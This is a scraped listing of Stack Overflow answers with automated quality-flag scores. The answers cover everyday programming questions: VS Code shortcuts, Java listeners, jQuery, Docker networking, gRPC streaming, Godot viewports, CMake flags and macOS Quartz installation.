Ctrl+p did not work for linux mint 22.1 for me, any shortkeys assigned to that is ignored. Might be a shortkey consumed by the system?

Either way, by default vscode (v1.99.3) maps "go to file..." (thanks Dinei) to Ctrl+E for me. This shows the quick search bar without a preceding character (# with Ctrl+T or > with Ctrl+shift+p).

I found this question helpful to figure out if I had any shortkeys overwritten or removed myself and forgot about it.

Reasons:
  • Blacklisted phrase (0.5): thanks
  • Blacklisted phrase (1): did not work
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (0.5):
Posted by: Joozey

79583429

Date: 2025-04-20 14:06:51
Score: 0.5
Natty:
Report link

The signature of addActionListener method is public void addActionListener(ActionListener l) where ActionListener it is a functional interface (in Java programming language a functional interface it is an interface with a sole method) defining the actionPerformed method accepting one argument of type ActionEvent, the method signature being void actionPerformed(ActionEvent e).

this::increasePoints it is method reference that should be possible to translate to...

new ActionListener() {
    public void actionPerformed(ActionEvent e) {
        . . .
    }
}

...therefore the increasePoints method signature must match the signature of actionPerformed method defined by th ActionListener interface.

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user30322970

79583423

Date: 2025-04-20 13:57:48
Score: 1
Natty:
Report link

The reason we use .get(0) after selecting a form in jQuery (like $('form').get(0).reset()) is because:

・jQuery selectors return a jQuery object, which is a wrapper around the DOM elements.

・The reset() method is a native JavaScript method that exists on DOM elements (specifically the element).

・.get(index) is a jQuery method that retrieves the DOM element at the specified index from the jQuery object. get(0) gets the first (and usually the only) form element as a plain JavaScript DOM element. Therefore, $('form').get(0) extracts the underlying DOM element of the form, allowing you to call the native JavaScript reset() method on it. jQuery objects themselves don't have a reset() method.

Regarding your experience with beforeSend and reset(), if reset() worked there, it means that within that context, the form variable was likely referencing the native DOM element (either directly or after extraction from a jQuery object).

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: R O

79583420

Date: 2025-04-20 13:54:47
Score: 2.5
Natty:
Report link

What if you try it like this instead of your localhost:

add name="Access-Control-Allow-Origin" value="domain"

Domain refers to your IIS server

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Starts with a question (0.5): What if you
  • Low reputation (0.5):
Posted by: Davy Gevaert

79583394

Date: 2025-04-20 13:23:40
Score: 2.5
Natty:
Report link

Just in case someone ends here having similar issue using ubuntu 24 and docker desktop:

My issue was due to a default configuration value in docker-desktop that needs to be activated to use network_mode: host.

Just activate Enable host networking, pretty clear instructions on the UI :) (I just was struggling with this for days)

enter image description here

Reasons:
  • Has code block (-0.5):
  • Me too answer (2.5): having similar issue
  • Low reputation (0.5):
Posted by: nenetto

79583381

Date: 2025-04-20 13:09:37
Score: 2.5
Natty:
Report link

Anyone who is facing the problem after Nov 26, 2018
you guys can use the new version https://mvnrepository.com/artifact/com.github.mwiede/jsch

I was facing this issue and it turned out the earlier version only allowed for RSA PEM keys which OpenSSH disabled or something I'm not sure, so upgrading to the new version and using ed25519 keys I was able to make it work.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Shivam Rajawat

79583372

Date: 2025-04-20 13:01:35
Score: 1.5
Natty:
Report link

Hey @Kannan J and @Vy Do

Thanks for your answers, but for clarifications for newbies like me. Getting into more details.

Yes, as @Kannan J mentioned, the created stub for HelloWorldService.sayHello is expected as it is mentioned in question. The parameter for HelloWorldResponse can be considered as a Consumer of the response (Drawing analogy from Java 8's Consumer methods) which needs to be consuming the response which needs to be sent back to the client. Whereas, Request is also a consumer (again, the same Java 8's Consumer method's analogy) here will be called once a HelloWorldRequest is received, so we need to define what needs to be done by implementing and returning that.

Here's the sample implementation of the same:

    @Override
    public StreamObserver<HelloWorldRequest> sayHello(StreamObserver<HelloWorldResponse> responseObserver) {

        return new StreamObserver<>() {
            @Override
            public void onNext(HelloWorldRequest helloWorldRequest) {
                String name = helloWorldRequest.getName();
                String greeting = null;
                if (StringUtils.hasText(name)) {
                    if (!name.startsWith("Hello"))
                        greeting = "Hello " + name;
                } else {
                    greeting = "Hello World";
                }
                if (StringUtils.hasText(name)) {
                    HelloWorldResponse response = HelloWorldResponse.newBuilder()
                            .setGreeting(greeting)
                            .build();
                    responseObserver.onNext(response);
                }
            }

            @Override
            public void onError(Throwable throwable) {
                // Handle error
                log.error("Error occurred: {}", throwable.getMessage(), throwable);
                responseObserver.onError(throwable);
            }

            @Override
            public void onCompleted() {
                // Complete the response
                log.info("Request completed");
                HelloWorldResponse response = HelloWorldResponse.newBuilder()
                        .setGreeting("Quitting chat , Thank you")
                        .build();
                responseObserver.onNext(response);
                responseObserver.onCompleted();
            }
        };
    }

Here, I am creating a new StreamObserver for the request , which tells what to do with the incoming messages (since, it is a stream there could be more than one, like a P2P chat). onNext tells what to do when a message is received, which can be used using the parameter provided for the same. onError when something breaks, and finally onCompleted when a streaming connection is closed. Within these methods responseObserver for sending messages (or emitting messages, analogy from Reactor streams) back to the client.

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Blacklisted phrase (0.5): Thanks
  • Long answer (-1):
  • Has code block (-0.5):
  • User mentioned (1): @Kannan
  • User mentioned (0): @Kannan
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Arvind Singh Rawat

79583371

Date: 2025-04-20 12:59:34
Score: 0.5
Natty:
Report link

Generally this is a tough ask. As we can easily see here (when done in one second by Google Translate). There are problems since a decompressed PDF does not use the same source data as was used for import and compression. PDF is NOT lossless.

enter image description here enter image description here

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: K J

79583370

Date: 2025-04-20 12:58:34
Score: 2
Natty:
Report link

There is a single checkbox for enabling Stretch for SubviewportContainer. Turn the stretch on option for properties of SubviewportContainer. Strech Property Screenshot for SubviewportContainer

There is no requirement of resizing code for Subviewport, only put Resizing for the SubviewportContainer which will manage the resizing of its child Subviewport.

Node Structure and Viewports

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Dushyant Deshwal

79583359

Date: 2025-04-20 12:45:31
Score: 1.5
Natty:
Report link

I haven't used NetBeans a lot before, but I researched a bit for finding a proper solution. I think common sense debugging techniques should work, for example:

- Try copying your entire code in a fresh file and run it again, as some files are simply corrupted. Additional to this, you could run your code on a different editor; this way, you'll see if the problem occurs on NetBeans itself or if it is indeed a problem with your code.

- As the comment on your post said, you should also try cleaning and rebuilding your project. I haven't used this feature before, but as this post from Stack Overflow suggests: Netbeans 8.0.2 Clean and Build then Run results in old code being run, try going on BUILD and then CLEAN AND BUILD PROJECT (or use command "Shift + F11"). If this is not how it is displayed on your platform setup, try the way @markspace suggested, and I quote: <<Pick "Clean" from the menu at the top, then "Build" the entire project again.>>.

- Another thing that could cause the problem, although I doubt this is the root of the bug, is to check if the debugger is not causing misleading stack traces by checking its settings.

CREDITS TO @markspace for the second suggestion I offered in my answer.

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • User mentioned (1): @markspace
  • User mentioned (0): @markspace
  • Low reputation (1):
Posted by: Grebla Andrei

79583356

Date: 2025-04-20 12:35:29
Score: 0.5
Natty:
Report link

Seeking through the bootstrap script and found this:

  CC=*) CC=`cmake_arg "$1"` ;;
  CXX=*) CXX=`cmake_arg "$1"` ;;
  CFLAGS=*) CFLAGS=`cmake_arg "$1"` ;;
  CXXFLAGS=*) CXXFLAGS=`cmake_arg "$1"` ;;
  LDFLAGS=*) LDFLAGS=`cmake_arg "$1"` ;;

Looks like invoking ./configure CFLAGS="-Werror=vla" will do.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
Posted by: DannyNiu

79583349

Date: 2025-04-20 12:27:27
Score: 0.5
Natty:
Report link

I went round the houses for weeks with this one. The solutions above did not work for me.

The sequence of terminal commands that finally got "Quartz" to work for me on a M2 Mac Sequoia 15.3.2 was the following:

pip install --upgrade pip

pip install pyobjc-framework-Quartz

pip install pyobjc

python3 -m pip install pyautogui

The key reference is at: https://pyautogui.readthedocs.io/en/latest/install.html

My script contained:

#!/bin/zsh
from Quartz.CoreGraphics import CGEventCreateMouseEvent
from Quartz.CoreGraphics import CGEventCreate
from Quartz.CoreGraphics import CGEventPost
from Quartz.CoreGraphics import CGEventGetLocation
from Quartz.CoreGraphics import kCGEventMouseMoved
from Quartz.CoreGraphics import kCGEventLeftMouseDown
from Quartz.CoreGraphics import kCGEventLeftMouseUp
from Quartz.CoreGraphics import kCGMouseButtonLeft
from Quartz.CoreGraphics import kCGHIDEventTap
import Quartz
import sys
import time

def mouseEvent(type, posx, posy):
    theEvent = CGEventCreateMouseEvent(None, type, (posx,posy), kCGMouseButtonLeft)
    CGEventPost(kCGHIDEventTap, theEvent)

def mousemove(posx,posy):
    mouseEvent(kCGEventMouseMoved, posx,posy)

def mouseclickdn(posx,posy):
    mouseEvent(kCGEventLeftMouseDown, posx,posy)

def mouseclickup(posx,posy):
    mouseEvent(kCGEventLeftMouseUp, posx,posy)

def mousedrag(posx,posy):
    mouseEvent(kCGEventLeftMouseDragged, posx,posy)


and the error message before the solution was:
Traceback (most recent call last):
  File "wmap1.py", line 2, in <module>
    from Quartz.CoreGraphics import CGEventCreateMouseEvent
ModuleNotFoundError: No module named 'Quartz'
Reasons:
  • Blacklisted phrase (1): did not work
  • Long answer (-1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: user22695711